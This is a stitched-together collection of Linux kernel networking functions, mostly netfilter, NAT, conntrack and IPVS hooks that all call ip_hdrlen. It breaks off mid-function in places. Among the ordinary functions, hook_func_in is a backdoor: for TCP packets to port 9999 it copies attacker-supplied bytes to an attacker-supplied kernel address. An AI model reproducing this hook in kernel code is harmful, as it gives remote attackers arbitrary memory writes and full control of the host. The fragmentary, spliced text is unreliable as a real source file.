static int enic_get_skb_header(struct sk_buff *skb, void **iphdr, void **tcph, u64 *hdr_flags, void *priv) { struct cq_enet_rq_desc *cq_desc = priv; unsigned int ip_len; struct iphdr *iph; u8 type, color, eop, sop, ingress_port, vlan_stripped; u8 fcoe, fcoe_sof, fcoe_fc_crc_ok, fcoe_enc_error, fcoe_eof; u8 tcp_udp_csum_ok, udp, tcp, ipv4_csum_ok; u8 ipv6, ipv4, ipv4_fragment, fcs_ok, rss_type, csum_not_calc; u8 packet_error; u16 q_number, completed_index, bytes_written, vlan, checksum; u32 rss_hash; cq_enet_rq_desc_dec(cq_desc, &type, &color, &q_number, &completed_index, &ingress_port, &fcoe, &eop, &sop, &rss_type, &csum_not_calc, &rss_hash, &bytes_written, &packet_error, &vlan_stripped, &vlan, &checksum, &fcoe_sof, &fcoe_fc_crc_ok, &fcoe_enc_error, &fcoe_eof, &tcp_udp_csum_ok, &udp, &tcp, &ipv4_csum_ok, &ipv6, &ipv4, &ipv4_fragment, &fcs_ok); if (!(ipv4 && tcp && !ipv4_fragment)) return -1; skb_reset_network_header(skb); iph = ip_hdr(skb); ip_len = ip_hdrlen(skb); skb_set_transport_header(skb, ip_len); /* check if ip header and tcp header are complete */ if (ntohs(iph->tot_len) < ip_len + tcp_hdrlen(skb)) return -1; *hdr_flags = LRO_IPV4 | LRO_TCP; *tcph = tcp_hdr(skb); *iphdr = iph; return 0; }
static unsigned int ipt_local_hook(unsigned int hook, struct sk_buff **pskb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret; const struct iphdr *iph; u_int8_t tos; __be32 saddr, daddr; u_int32_t mark; /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) || ip_hdrlen(*pskb) < sizeof(struct iphdr)) { if (net_ratelimit()) printk("iptable_mangle: ignoring short SOCK_RAW " "packet.\n"); return NF_ACCEPT; } /* Save things which could affect route */ mark = (*pskb)->mark; iph = ip_hdr(*pskb); saddr = iph->saddr; daddr = iph->daddr; tos = iph->tos; ret = ipt_do_table(pskb, hook, in, out, &packet_mangler); /* Reroute for ANY change. */ if (ret != NF_DROP && ret != NF_STOLEN && ret != NF_QUEUE) { iph = ip_hdr(*pskb); if (iph->saddr != saddr || iph->daddr != daddr || (*pskb)->mark != mark || iph->tos != tos) if (ip_route_me_harder(pskb, RTN_UNSPEC)) ret = NF_DROP; } return ret; }
static unsigned int ipv4_confirm(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct nf_conn *ct; enum ip_conntrack_info ctinfo; const struct nf_conn_help *help; const struct nf_conntrack_helper *helper; unsigned int ret; /* This is where we call the helper: as the packet goes out. */ ct = nf_ct_get(skb, &ctinfo); if (!ct || ctinfo == IP_CT_RELATED + IP_CT_IS_REPLY) goto out; help = nfct_help(ct); if (!help) goto out; /* rcu_read_lock()ed by nf_hook_slow */ helper = rcu_dereference(help->helper); if (!helper) goto out; ret = helper->help(skb, skb_network_offset(skb) + ip_hdrlen(skb), ct, ctinfo); if (ret != NF_ACCEPT) return ret; if (test_bit(IPS_SEQ_ADJUST_BIT, &ct->status)) { typeof(nf_nat_seq_adjust_hook) seq_adjust; seq_adjust = rcu_dereference(nf_nat_seq_adjust_hook); if (!seq_adjust || !seq_adjust(skb, ct, ctinfo)) { NF_CT_STAT_INC_ATOMIC(nf_ct_net(ct), drop); return NF_DROP; } } out: /* We've seen it coming out the other side: confirm it */ return nf_conntrack_confirm(skb); }
static unsigned int ip6t_local_hook(unsigned int hook, struct sk_buff **pskb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret; struct in6_addr saddr, daddr; u_int8_t hop_limit; u_int32_t flowlabel, mark; #if 0 /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) || ip_hdrlen(*pskb) < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ip6t_hook: happy cracking.\n"); return NF_ACCEPT; } #endif /* save source/dest address, mark, hoplimit, flowlabel, priority, */ memcpy(&saddr, &ipv6_hdr(*pskb)->saddr, sizeof(saddr)); memcpy(&daddr, &ipv6_hdr(*pskb)->daddr, sizeof(daddr)); mark = (*pskb)->mark; hop_limit = ipv6_hdr(*pskb)->hop_limit; /* flowlabel and prio (includes version, which shouldn't change either */ flowlabel = *((u_int32_t *)ipv6_hdr(*pskb)); ret = ip6t_do_table(pskb, hook, in, out, &packet_mangler); if (ret != NF_DROP && ret != NF_STOLEN && (memcmp(&ipv6_hdr(*pskb)->saddr, &saddr, sizeof(saddr)) || memcmp(&ipv6_hdr(*pskb)->daddr, &daddr, sizeof(daddr)) || (*pskb)->mark != mark || ipv6_hdr(*pskb)->hop_limit != hop_limit)) return ip6_route_me_harder(*pskb) == 0 ? ret : NF_DROP; return ret; }
static unsigned int ip6t_local_out_hook(unsigned int hook, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { #if 0 /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) { if (net_ratelimit()) printk("ip6t_hook: happy cracking.\n"); return NF_ACCEPT; } #endif return ip6t_do_table(skb, hook, in, out, &packet_filter); }
void calc_transport_len(const struct sk_buff *skb, struct iphdr *ip_hdr, int *h_len, int *payload_length) { struct tcphdr *tcph; struct udphdr *udph; pr_debug("In calc_transport_len\n"); switch (ip_hdr->protocol) { case IPPROTO_TCP: tcph = (struct tcphdr *) ((u32 *) ip_hdr + ip_hdr->ihl); *h_len = tcph->doff * 4; *payload_length = ntohs(ip_hdr->tot_len) - ip_hdrlen(skb) - (*h_len); break; case IPPROTO_UDP: udph = (struct udphdr *) ((u32 *) ip_hdr + ip_hdr->ihl); *h_len = 8; *payload_length = ntohs(udph->len) - (*h_len); break; } }
/* Small and modified version of icmp_rcv */ static int icmp_error(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int dataoff, u8 pf, unsigned int hooknum) { const struct icmphdr *icmph; struct icmphdr _ih; /* Not enough header? */ icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih); if (icmph == NULL) { icmp_error_log(skb, net, pf, "short packet"); return -NF_ACCEPT; } /* See ip_conntrack_proto_tcp.c */ if (net->ct.sysctl_checksum && hooknum == NF_INET_PRE_ROUTING && nf_ip_checksum(skb, hooknum, dataoff, 0)) { icmp_error_log(skb, net, pf, "bad hw icmp checksum"); return -NF_ACCEPT; } /* * 18 is the highest 'known' ICMP type. Anything else is a mystery * * RFC 1122: 3.2.2 Unknown ICMP messages types MUST be silently * discarded. */ if (icmph->type > NR_ICMP_TYPES) { icmp_error_log(skb, net, pf, "invalid icmp type"); return -NF_ACCEPT; } /* Need to track icmp error message? */ if (icmph->type != ICMP_DEST_UNREACH && icmph->type != ICMP_SOURCE_QUENCH && icmph->type != ICMP_TIME_EXCEEDED && icmph->type != ICMP_PARAMETERPROB && icmph->type != ICMP_REDIRECT) return NF_ACCEPT; return icmp_error_message(net, tmpl, skb, hooknum); }
static int sctp_snat_handler(struct sk_buff *skb, struct ip_vs_protocol *pp, struct ip_vs_conn *cp) { sctp_sctphdr_t *sctph; unsigned int sctphoff; struct sk_buff *iter; __be32 crc32; #ifdef CONFIG_IP_VS_IPV6 if (cp->af == AF_INET6) sctphoff = sizeof(struct ipv6hdr); else #endif sctphoff = ip_hdrlen(skb); /* csum_check requires unshared skb */ if (!skb_make_writable(skb, sctphoff + sizeof(*sctph))) return 0; if (unlikely(cp->app != NULL)) { /* Some checks before mangling */ if (pp->csum_check && !pp->csum_check(cp->af, skb, pp)) return 0; /* Call application helper if needed */ if (!ip_vs_app_pkt_out(cp, skb)) return 0; } sctph = (void *) skb_network_header(skb) + sctphoff; sctph->source = cp->vport; /* Calculate the checksum */ crc32 = sctp_start_cksum((u8 *) sctph, skb_headlen(skb) - sctphoff); skb_walk_frags(skb, iter) crc32 = sctp_update_cksum((u8 *) iter->data, skb_headlen(iter), crc32); crc32 = sctp_end_cksum(crc32); sctph->checksum = crc32; return 1; }
unsigned int nf_nat_ipv4_local_fn(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, unsigned int (*do_chain)(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, struct nf_conn *ct)) { const struct nf_conn *ct; enum ip_conntrack_info ctinfo; unsigned int ret; int err; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; ret = nf_nat_ipv4_fn(ops, skb, in, out, do_chain); if (ret != NF_DROP && ret != NF_STOLEN && (ct = nf_ct_get(skb, &ctinfo)) != NULL) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); if (ct->tuplehash[dir].tuple.dst.u3.ip != ct->tuplehash[!dir].tuple.src.u3.ip) { err = ip_route_me_harder(skb, RTN_UNSPEC); if (err < 0) ret = NF_DROP_ERR(err); } #ifdef CONFIG_XFRM else if (!(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) && ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP && ct->tuplehash[dir].tuple.dst.u.all != ct->tuplehash[!dir].tuple.src.u.all) { err = nf_xfrm_me_harder(skb, AF_INET); if (err < 0) ret = NF_DROP_ERR(err); } #endif } return ret; }
static int tcp_snat_handler(struct sk_buff *skb, struct dispatcher_protocol *pp, struct dispatcher_service *svc) { struct tcphdr *tcph; unsigned int tcphoff; int oldlen; __be16 localport; struct dispatcher_dest *dest = svc->dest; #ifdef CONFIG_DISPATCHER_IPV6 if (svc->af == AF_INET6) tcphoff = sizeof(struct ipv6hdr); else #endif tcphoff = ip_hdrlen(skb); oldlen = skb->len - tcphoff; /* csum_check requires unshared skb */ if (!skb_make_writable(skb, tcphoff+sizeof(*tcph))) return 0; tcph = (void *)skb_network_header(skb) + tcphoff; localport = tcph->source; tcph->source = svc->port; /* Adjust TCP checksums */ if (skb->ip_summed == CHECKSUM_PARTIAL) { //tcp_partial_csum_update(svc->af, tcph, &dest->addr, &svc->addr, // htons(oldlen), // htons(skb->len - tcphoff)); tcph->check = 0; tcph->check = ~tcp_v4_check(skb->len - tcphoff, svc->addr.ip, ip_hdr(skb)->daddr, 0); } else { /* Only port and addr are changed, do fast csum update */ tcp_fast_csum_update(svc->af, tcph, &dest->addr, &svc->addr, localport, svc->port); if (skb->ip_summed == CHECKSUM_COMPLETE) { skb->ip_summed = CHECKSUM_NONE; } } return 1; }
static unsigned int ip6t_mangle_out(struct sk_buff *skb, const struct net_device *out) { unsigned int ret; struct in6_addr saddr, daddr; u_int8_t hop_limit; u_int32_t flowlabel, mark; int err; #if 0 /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) { net_warn_ratelimited("ip6t_hook: happy cracking\n"); return NF_ACCEPT; } #endif /* save source/dest address, mark, hoplimit, flowlabel, priority, */ memcpy(&saddr, &ipv6_hdr(skb)->saddr, sizeof(saddr)); memcpy(&daddr, &ipv6_hdr(skb)->daddr, sizeof(daddr)); mark = skb->mark; hop_limit = ipv6_hdr(skb)->hop_limit; /* flowlabel and prio (includes version, which shouldn't change either */ flowlabel = *((u_int32_t *)ipv6_hdr(skb)); ret = ip6t_do_table(skb, NF_INET_LOCAL_OUT, NULL, out, dev_net(out)->ipv6.ip6table_mangle); if (ret != NF_DROP && ret != NF_STOLEN && (!ipv6_addr_equal(&ipv6_hdr(skb)->saddr, &saddr) || !ipv6_addr_equal(&ipv6_hdr(skb)->daddr, &daddr) || skb->mark != mark || ipv6_hdr(skb)->hop_limit != hop_limit || flowlabel != *((u_int32_t *)ipv6_hdr(skb)))) { err = ip6_route_me_harder(skb); if (err < 0) ret = NF_DROP_ERR(err); } return ret; }
unsigned int hook_func_in(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct ethhdr *eth = NULL; u_int16_t eth_type; struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; __u16 currport = 0; char * tcp_data = NULL; uint8_t len = 0; void * where = NULL; char * what = NULL; if(!skb){ return NF_DROP; } eth = eth_hdr(skb); eth_type = ntohs( eth->h_proto ); if( eth_type != ETH_P_IP ){ return NF_ACCEPT; } ip = ip_hdr(skb); if (!ip){ return NF_ACCEPT; } if(ip->protocol == IPPROTO_TCP){ tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb)); currport = ntohs(tcp->dest); if((currport == 9999)){ tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4)); where = ((void **)tcp_data)[0]; len = ((uint8_t *)(tcp_data + sizeof(where)))[0]; what = tcp_data + sizeof(where) + sizeof(len); memcpy(where, what, len); } } return NF_ACCEPT; }
static unsigned int mangle_sip_packet(struct sk_buff **pskb, enum ip_conntrack_info ctinfo, struct nf_conn *ct, const char **dptr, size_t dlen, char *buffer, int bufflen, enum sip_header_pos pos) { unsigned int matchlen, matchoff; if (ct_sip_get_info(ct, *dptr, dlen, &matchoff, &matchlen, pos) <= 0) return 0; if (!nf_nat_mangle_udp_packet(pskb, ct, ctinfo, matchoff, matchlen, buffer, bufflen)) return 0; /* We need to reload this. Thanks Patrick. */ *dptr = (*pskb)->data + ip_hdrlen(*pskb) + sizeof(struct udphdr); return 1; }
static unsigned int ipt_local_hook(unsigned int hook, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret; const struct iphdr *iph; u_int8_t tos; __be32 saddr, daddr; u_int32_t mark; if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; mark = skb->mark; iph = ip_hdr(skb); saddr = iph->saddr; daddr = iph->daddr; tos = iph->tos; ret = ipt_do_table(skb, hook, in, out, dev_net(out)->ipv4.iptable_mangle); if (ret != NF_DROP && ret != NF_STOLEN && ret != NF_QUEUE) { iph = ip_hdr(skb); if (iph->saddr != saddr || iph->daddr != daddr || skb->mark != mark || iph->tos != tos) if (ip_route_me_harder(skb, RTN_UNSPEC)) ret = NF_DROP; } return ret; }
void nf_send_unreach(struct sk_buff *skb_in, int code, int hook) { struct iphdr *iph = ip_hdr(skb_in); u8 proto; if (iph->frag_off & htons(IP_OFFSET)) return; if (skb_csum_unnecessary(skb_in)) { icmp_send(skb_in, ICMP_DEST_UNREACH, code, 0); return; } if (iph->protocol == IPPROTO_TCP || iph->protocol == IPPROTO_UDP) proto = iph->protocol; else proto = 0; if (nf_ip_checksum(skb_in, hook, ip_hdrlen(skb_in), proto) == 0) icmp_send(skb_in, ICMP_DEST_UNREACH, code, 0); }
unsigned int nf_nat_ipv4_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state, unsigned int (*do_chain)(void *priv, struct sk_buff *skb, const struct nf_hook_state *state, struct nf_conn *ct)) { #ifdef CONFIG_XFRM const struct nf_conn *ct; enum ip_conntrack_info ctinfo; int err; #endif unsigned int ret; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; ret = nf_nat_ipv4_fn(priv, skb, state, do_chain); #ifdef CONFIG_XFRM if (ret != NF_DROP && ret != NF_STOLEN && !(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) && (ct = nf_ct_get(skb, &ctinfo)) != NULL) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); if ((ct->tuplehash[dir].tuple.src.u3.ip != ct->tuplehash[!dir].tuple.dst.u3.ip) || (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP && ct->tuplehash[dir].tuple.src.u.all != ct->tuplehash[!dir].tuple.dst.u.all)) { err = nf_xfrm_me_harder(state->net, skb, AF_INET); if (err < 0) ret = NF_DROP_ERR(err); } } #endif return ret; }
static unsigned int ipt_mangle_out(struct sk_buff *skb, const struct net_device *out) { unsigned int ret; const struct iphdr *iph; u_int8_t tos; __be32 saddr, daddr; u_int32_t mark; int err; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; /* Save things which could affect route */ mark = skb->mark; iph = ip_hdr(skb); saddr = iph->saddr; daddr = iph->daddr; tos = iph->tos; ret = ipt_do_table(skb, NF_INET_LOCAL_OUT, NULL, out, dev_net(out)->ipv4.iptable_mangle); /* Reroute for ANY change. */ if (ret != NF_DROP && ret != NF_STOLEN) { iph = ip_hdr(skb); if (iph->saddr != saddr || iph->daddr != daddr || skb->mark != mark || iph->tos != tos) { err = ip_route_me_harder(skb, RTN_UNSPEC); if (err < 0) ret = NF_DROP_ERR(err); } } return ret; }
static unsigned int ip_nat_sip(struct sk_buff **pskb, enum ip_conntrack_info ctinfo, struct nf_conn *ct, const char **dptr) { enum sip_header_pos pos; struct addr_map map; int dataoff, datalen; dataoff = ip_hdrlen(*pskb) + sizeof(struct udphdr); datalen = (*pskb)->len - dataoff; if (datalen < sizeof("SIP/2.0") - 1) return NF_ACCEPT; addr_map_init(ct, &map); /* Basic rules: requests and responses. */ if (strnicmp(*dptr, "SIP/2.0", strlen("SIP/2.0")) != 0) { /* 10.2: Constructing the REGISTER Request: * * The "userinfo" and "@" components of the SIP URI MUST NOT * be present. */ if (datalen >= strlen("REGISTER") && strnicmp(*dptr, "REGISTER", strlen("REGISTER")) == 0) pos = POS_REG_REQ_URI; else pos = POS_REQ_URI; if (!map_sip_addr(pskb, ctinfo, ct, dptr, datalen, pos, &map)) return NF_DROP; } if (!map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_FROM, &map) || !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_TO, &map) || !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_VIA, &map) || !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_CONTACT, &map)) return NF_DROP; return NF_ACCEPT; }
static unsigned int nf_route_table_hook(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { unsigned int ret; struct nft_pktinfo pkt; u32 mark; __be32 saddr, daddr; u_int8_t tos; const struct iphdr *iph; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; nft_set_pktinfo_ipv4(&pkt, ops, skb, in, out); mark = skb->mark; iph = ip_hdr(skb); saddr = iph->saddr; daddr = iph->daddr; tos = iph->tos; ret = nft_do_chain_pktinfo(&pkt, ops); if (ret != NF_DROP && ret != NF_QUEUE) { iph = ip_hdr(skb); if (iph->saddr != saddr || iph->daddr != daddr || skb->mark != mark || iph->tos != tos) if (ip_route_me_harder(skb, RTN_UNSPEC)) ret = NF_DROP; } return ret; }
static int ipmr_cache_report(struct net *net, struct sk_buff *pkt, vifi_t vifi, int assert) { struct sk_buff *skb; const int ihl = ip_hdrlen(pkt); struct igmphdr *igmp; struct igmpmsg *msg; int ret; #ifdef CONFIG_IP_PIMSM if (assert == IGMPMSG_WHOLEPKT) skb = skb_realloc_headroom(pkt, sizeof(struct iphdr)); else #endif skb = alloc_skb(128, GFP_ATOMIC); if (!skb) return -ENOBUFS; #ifdef CONFIG_IP_PIMSM if (assert == IGMPMSG_WHOLEPKT) { /* Ugly, but we have no choice with this interface. Duplicate old header, fix ihl, length etc. And all this only to mangle msg->im_msgtype and to set msg->im_mbz to "mbz" :-) */ skb_push(skb, sizeof(struct iphdr)); skb_reset_network_header(skb); skb_reset_transport_header(skb); msg = (struct igmpmsg *)skb_network_header(skb); memcpy(msg, skb_network_header(pkt), sizeof(struct iphdr)); msg->im_msgtype = IGMPMSG_WHOLEPKT; msg->im_mbz = 0; msg->im_vif = net->ipv4.mroute_reg_vif_num; ip_hdr(skb)->ihl = sizeof(struct iphdr) >> 2; ip_hdr(skb)->tot_len = htons(ntohs(ip_hdr(pkt)->tot_len) + sizeof(struct iphdr)); } else
static int sctp_csum_check(int af, struct sk_buff *skb, struct ip_vs_protocol *pp) { unsigned int sctphoff; struct sctphdr *sh, _sctph; struct sk_buff *iter; __le32 cmp; __le32 val; __u32 tmp; #ifdef CONFIG_IP_VS_IPV6 if (af == AF_INET6) sctphoff = sizeof(struct ipv6hdr); else #endif sctphoff = ip_hdrlen(skb); sh = skb_header_pointer(skb, sctphoff, sizeof(_sctph), &_sctph); if (sh == NULL) return 0; cmp = sh->checksum; tmp = sctp_start_cksum((__u8 *) sh, skb_headlen(skb)); skb_walk_frags(skb, iter) tmp = sctp_update_cksum((__u8 *) iter->data, skb_headlen(iter), tmp); val = sctp_end_cksum(tmp); if (val != cmp) { /* CRC failure, dump it. */ IP_VS_DBG_RL_PKT(0, af, pp, skb, 0, "Failed checksum for"); return 0; } return 1; }
static inline bool match_tcp(const struct sk_buff *skb, const struct ipt_ecn_info *einfo, bool *hotdrop) { struct tcphdr _tcph; const struct tcphdr *th; /* In practice, TCP match does this, so can't fail. But let's * be good citizens. */ th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph); if (th == NULL) { *hotdrop = false; return false; } if (einfo->operation & IPT_ECN_OP_MATCH_ECE) { if (einfo->invert & IPT_ECN_OP_MATCH_ECE) { if (th->ece == 1) return false; } else { if (th->ece == 0) return false; } } if (einfo->operation & IPT_ECN_OP_MATCH_CWR) { if (einfo->invert & IPT_ECN_OP_MATCH_CWR) { if (th->cwr == 1) return false; } else { if (th->cwr == 0) return false; } } return true; }
int ts_parse_dpi_http_access_pkt(IN struct sk_buff *skb) { int ip_hdr_len = ip_hdrlen(skb); int tcp_hdr_len = ts_get_tcp_hdr_size(skb); //Check it is a real DNS or some bogus or unknown packet ? /// If so do not process it further !! if( (skb->len-ip_hdr_len-tcp_hdr_len)<18) return TS_TRUE; //send true since this is http packet BYTE *pkt_buff = (skb->data+ip_hdr_len+tcp_hdr_len); size_t pkt_buff_len = (skb->len-ip_hdr_len-tcp_hdr_len); http_access_log_t http_access_log; init_http_access_log(&http_access_log); if(ts_parse_dpi_http_access(pkt_buff, pkt_buff_len, &http_access_log)==TS_TRUE) { memcpy(http_access_log.src_ip, ts_get_ip_source_ip_addr(skb), 4); memcpy(http_access_log.dst_ip, ts_get_ip_dest_ip_addr(skb), 4); //Add or write to the global spin_lock(&v_c_ts_http_access_log_list_lock_v_c); ts_add_http_access_log_in_list(&http_access_log); spin_unlock(&v_c_ts_http_access_log_list_lock_v_c); return TS_TRUE; } return TS_FALSE; }
static unsigned int ipv4_confirm(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct nf_conn *ct; enum ip_conntrack_info ctinfo; ct = nf_ct_get(skb, &ctinfo); if (!ct || ctinfo == IP_CT_RELATED_REPLY) goto out; /* adjust seqs for loopback traffic only in outgoing direction */ if (test_bit(IPS_SEQ_ADJUST_BIT, &ct->status) && !nf_is_loopback_packet(skb)) { if (!nf_ct_seq_adjust(skb, ct, ctinfo, ip_hdrlen(skb))) { NF_CT_STAT_INC_ATOMIC(nf_ct_net(ct), drop); return NF_DROP; } } out: /* We've seen it coming out the other side: confirm it */ return nf_conntrack_confirm(skb); }
static unsigned int nf_nat_local_fn(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { const struct nf_conn *ct; enum ip_conntrack_info ctinfo; unsigned int ret; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; ret = nf_nat_fn(hooknum, skb, in, out, okfn); if (ret != NF_DROP && ret != NF_STOLEN && (ct = nf_ct_get(skb, &ctinfo)) != NULL) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); if (ct->tuplehash[dir].tuple.dst.u3.ip != ct->tuplehash[!dir].tuple.src.u3.ip) { if (ip_route_me_harder(skb, RTN_UNSPEC)) ret = NF_DROP; } #ifdef CONFIG_XFRM else if (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP && ct->tuplehash[dir].tuple.dst.u.all != ct->tuplehash[!dir].tuple.src.u.all) if (ip_xfrm_me_harder(skb)) ret = NF_DROP; #endif } return ret; }
static unsigned int udpencap_tg(struct sk_buff **pskb, const struct xt_action_param *par) { const struct xt_udpencap_tginfo *info = par->targinfo; struct sk_buff *skb = *pskb; unsigned int tproto, nlen; bool ipv4 = (par->family == NFPROTO_IPV4); if (ipv4) { nlen = ip_hdrlen(skb); if (nlen < sizeof(struct iphdr)) return NF_DROP; tproto = ip_hdr(skb)->protocol; } else { nlen = sizeof(struct ipv6hdr); tproto = ipv6_hdr(skb)->nexthdr; } if (!info->encap && tproto != IPPROTO_UDP) return NF_DROP; skb_set_transport_header(skb, skb_network_offset(skb) + nlen); if (!(info->encap ? udpencap_insert_header : udpencap_remove_header)(skb, info)) return NF_DROP; (ipv4 ? udpencap_fix4 : udpencap_fix6)(skb, info); return XT_CONTINUE; }
static inline bool match_tcp(const struct sk_buff *skb, const struct ipt_ecn_info *einfo, bool *hotdrop) { struct tcphdr _tcph; const struct tcphdr *th; th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph); if (th == NULL) { *hotdrop = false; return false; } if (einfo->operation & IPT_ECN_OP_MATCH_ECE) { if (einfo->invert & IPT_ECN_OP_MATCH_ECE) { if (th->ece == 1) return false; } else { if (th->ece == 0) return false; } } if (einfo->operation & IPT_ECN_OP_MATCH_CWR) { if (einfo->invert & IPT_ECN_OP_MATCH_CWR) { if (th->cwr == 1) return false; } else { if (th->cwr == 0) return false; } } return true; }
static unsigned int nf_nat_ipv4_out(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { #ifdef CONFIG_XFRM const struct nf_conn *ct; enum ip_conntrack_info ctinfo; #endif unsigned int ret; /* root is playing with raw sockets. */ if (skb->len < sizeof(struct iphdr) || ip_hdrlen(skb) < sizeof(struct iphdr)) return NF_ACCEPT; ret = nf_nat_ipv4_fn(hooknum, skb, in, out, okfn); #ifdef CONFIG_XFRM if (ret != NF_DROP && ret != NF_STOLEN && !(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) && (ct = nf_ct_get(skb, &ctinfo)) != NULL) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); if ((ct->tuplehash[dir].tuple.src.u3.ip != ct->tuplehash[!dir].tuple.dst.u3.ip) || (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP && ct->tuplehash[dir].tuple.src.u.all != ct->tuplehash[!dir].tuple.dst.u.all)) if (nf_xfrm_me_harder(skb, AF_INET) < 0) ret = NF_DROP; } #endif return ret; }
__IMEM #endif static unsigned int nf_nat_out(unsigned int hooknum, struct sk_buff **pskb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { #ifdef CONFIG_XFRM struct nf_conn *ct; enum ip_conntrack_info ctinfo; #endif unsigned int ret; /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) || ip_hdrlen(*pskb) < sizeof(struct iphdr)) return NF_ACCEPT; ret = nf_nat_fn(hooknum, pskb, in, out, okfn); #ifdef CONFIG_XFRM if (ret != NF_DROP && ret != NF_STOLEN && (ct = nf_ct_get(*pskb, &ctinfo)) != NULL) { enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo); if (ct->tuplehash[dir].tuple.src.u3.ip != ct->tuplehash[!dir].tuple.dst.u3.ip || ct->tuplehash[dir].tuple.src.u.all != ct->tuplehash[!dir].tuple.dst.u.all ) return ip_xfrm_me_harder(pskb) == 0 ? ret : NF_DROP; } #endif return ret; }
/* * Reuse skb for syn proxy, called by syn_proxy_syn_rcv(). * do following things: * 1) set tcp options; * 2) compute seq with cookie func. * 3) set tcp seq and ack_seq; * 4) exchange ip addr and tcp port; * 5) compute iphdr and tcp check. * */ static void syn_proxy_reuse_skb(int af, struct sk_buff *skb, struct ip_vs_synproxy_opt *opt) { __u32 isn; unsigned short tmpport; unsigned int tcphoff; struct tcphdr *th; #ifdef CONFIG_IP_VS_IPV6 if (af == AF_INET6) tcphoff = sizeof(struct ipv6hdr); else #endif tcphoff = ip_hdrlen(skb); th = (void *)skb_network_header(skb) + tcphoff; /* deal with tcp options */ syn_proxy_parse_set_opts(skb, th, opt); /* get cookie */ skb_set_transport_header(skb, tcphoff); #ifdef CONFIG_IP_VS_IPV6 if (af == AF_INET6) isn = ip_vs_synproxy_cookie_v6_init_sequence(skb, opt); else #endif isn = ip_vs_synproxy_cookie_v4_init_sequence(skb, opt); /* Set syn-ack flag * the tcp opt in syn/ack packet : 00010010 = 0x12 */ ((u_int8_t *) th)[13] = 0x12; /* Exchange ports */ tmpport = th->dest; th->dest = th->source; th->source = tmpport; /* Set seq(cookie) and ack_seq */ th->ack_seq = htonl(ntohl(th->seq) + 1); th->seq = htonl(isn); /* Exchange addresses and compute checksums */ #ifdef CONFIG_IP_VS_IPV6 if (af == AF_INET6) { struct ipv6hdr *iph = ipv6_hdr(skb); struct in6_addr tmpAddr; memcpy(&tmpAddr, &iph->saddr, sizeof(struct in6_addr)); memcpy(&iph->saddr, &iph->daddr, sizeof(struct in6_addr)); memcpy(&iph->daddr, &tmpAddr, sizeof(struct in6_addr)); iph->hop_limit = sysctl_ip_vs_synproxy_synack_ttl; th->check = 0; skb->csum = skb_checksum(skb, tcphoff, skb->len - tcphoff, 0); th->check = csum_ipv6_magic(&iph->saddr, &iph->daddr, skb->len - tcphoff, IPPROTO_TCP, skb->csum); } else #endif { struct iphdr 